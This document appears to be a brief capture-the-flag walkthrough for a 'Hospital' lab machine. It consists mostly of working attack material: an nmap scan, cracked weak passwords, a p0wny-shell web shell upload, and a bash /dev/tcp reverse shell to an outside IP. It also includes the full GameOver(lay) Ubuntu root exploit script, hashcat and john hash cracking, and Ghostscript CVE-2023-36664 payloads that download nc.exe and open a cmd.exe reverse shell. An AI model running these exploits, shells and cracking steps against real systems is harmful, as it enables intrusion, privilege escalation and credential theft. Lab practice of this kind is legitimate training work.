Hospital


22,53,88,135,139,389,443,445,464,593,636,1801,2103,2105,2107,2179,3268,3269,3389,5985,6062,6404,6406,6407,6409,6613,6633,8080,9389


PORT     STATE SERVICE           VERSION
22/tcp   open  ssh               OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 e14b4b3a6d18666939f7aa74b3160aaa (ECDSA)
|_  256 96c1dcd8972095e7015f20a24361cbca (ED25519)
53/tcp   open  domain            Simple DNS Plus
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos (server time: 2024-01-04 17:18:47Z)
135/tcp  open  msrpc             Microsoft Windows RPC
139/tcp  open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
443/tcp  open  ssl/http          Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
|_http-title: Hospital Webmail :: Welcome to Hospital Webmail
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
| tls-alpn:
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
1801/tcp open  msmq?
2103/tcp open  msrpc             Microsoft Windows RPC
2105/tcp open  msrpc             Microsoft Windows RPC
2107/tcp open  msrpc             Microsoft Windows RPC
2179/tcp open  vmrdp?
3268/tcp open  ldap              Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
3269/tcp open  globalcatLDAPssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
3389/tcp open  ms-wbt-server     Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC.hospital.htb
| Not valid before: 2023-09-05T18:39:34
|_Not valid after:  2024-03-06T18:39:34
| rdp-ntlm-info:
|   Target_Name: HOSPITAL
|   NetBIOS_Domain_Name: HOSPITAL
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: hospital.htb
|   DNS_Computer_Name: DC.hospital.htb
|   DNS_Tree_Name: hospital.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2024-01-04T17:19:45+00:00
5985/tcp open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
6062/tcp open  msrpc             Microsoft Windows RPC
6404/tcp open  msrpc             Microsoft Windows RPC
6406/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
6407/tcp open  msrpc             Microsoft Windows RPC
6409/tcp open  msrpc             Microsoft Windows RPC
6613/tcp open  msrpc             Microsoft Windows RPC
6633/tcp open  msrpc             Microsoft Windows RPC
8080/tcp open  http              Apache httpd 2.4.55 ((Ubuntu))
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.55 (Ubuntu)
| http-title: Login
|_Requested resource was login.php
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
9389/tcp open  mc-nmf            .NET Message Framing
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Linux 5.X|4.X (92%)
OS CPE: cpe:/o:linux:linux_kernel:5.0 cpe:/o:linux:linux_kernel:4
Aggressive OS guesses: Linux 5.0 (92%), Linux 4.15 - 5.6 (85%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: DC; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   311:
|_    Message signing enabled and required
|_clock-skew: mean: 6h59m40s, deviation: 0s, median: 6h59m40s
| smb2-time:
|   date: 2024-01-04T17:19:47
|_  start_date: N/A


dc.hospital.htb.        3600    IN      A       192.168.5.1
dc.hospital.htb.        3600    IN      A       10.129.40.246


hospital.htb.           600     IN      A       10.129.40.246
hospital.htb.           600     IN      A       192.168.5.1


ivan:123456

p0wny-shell

flozz • Updated May 4, 2024

upload pwn.phar

Then use gobuster to find the path of uploads

then access http://hospital.htb:8080/uploads/pwn.phar

sent a reverseshell


/usr/bin/bash -c "bash -i >& /dev/tcp/10.10.14.32/1234 0>&1"


define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'root');
define('DB_PASSWORD', 'my$qls3rv1c3!');
define('DB_NAME', 'hospital');

connect to mysql


admin:$2y$10$caGIEbf9DBF7ddlByqCkrexkt0cPseJJ5FiVO1cnhG.3NLrxcjMh2
patient:$2y$10$a.lNstD7JdiNYxEepKf1/OZ5EM5wngYrf.m5RxXCgSud7MVU6/tgO

bcrypt


hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt --user


admin:123456

nothing found, maybe it’s registered by other players..

it’s ubuntu 23.04

CVE-2023-2640-CVE-2023-32629

g1vi • Updated Aug 6, 2024


#!/bin/bash

# CVE-2023-2640 CVE-2023-3262: GameOver(lay) Ubuntu Privilege Escalation
# by g1vi https://github.com/g1vi
# October 2023

echo "[+] You should be root now"
echo "[+] Type 'exit' to finish and leave the house cleaned"

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash")'

got this root

got the hashe from /etc/passwd


drwilliams:$6$uWBSeTcoXXTBRkiL$S9ipksJfiZuO4bFI6I9w/iItu5.Ohoz3dABeF6QWumGBspUW378P1tlwak7NqzouoRTbrz6Ag0qcyGQxW192y/:19612:0:99999:7:::

cracking by john


drwilliams:qwe123!@#

GitHub - jakabakos/CVE-2023-36664-Ghostscript-command-injection: Ghostscript command injection vulnerability PoC (CVE-2023-36664)

Ghostscript command injection vulnerability PoC (CVE-2023-36664) - GitHub - jakabakos/CVE-2023-36664-Ghostscript-command-injection: Ghostscript command injection vulnerability PoC (CVE-2023-36664)

https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection?source=post_page-----edd713d784bb--------------------------------

Online - Reverse Shell Generator

Online Reverse Shell generator with Local Storage functionality, URI & Base64 Encoding, MSFVenom Generator, and Raw Mode. Great for CTFs.

https://www.revshells.com/


python3 CVE_2023_36664_exploit.py --inject --payload "curl 10.10.14.32:8000/nc64.exe -o nc.exe" --filename file.eps
python3 CVE_2023_36664_exploit.py --inject --payload "nc.exe 10.10.14.32 4444 -e cmd.exe" --filename file.eps

send the .eps file to contact


rpcclient hospital.htb -U drbrown


querydispinfo


PS C:\xampp> icacls htdocs
htdocs NT AUTHORITY\LOCAL SERVICE:(OI)(CI)(F)
       NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
       BUILTIN\Administrators:(I)(OI)(CI)(F)
       BUILTIN\Users:(I)(OI)(CI)(RX)
       BUILTIN\Users:(I)(CI)(AD)
       BUILTIN\Users:(I)(CI)(WD)
       CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

xampp run as privilege of NT AUTHORITY\SYSTEM


cd C:\xampp\htdocs

upload the pw0nyshell on this folder ,then access.

done!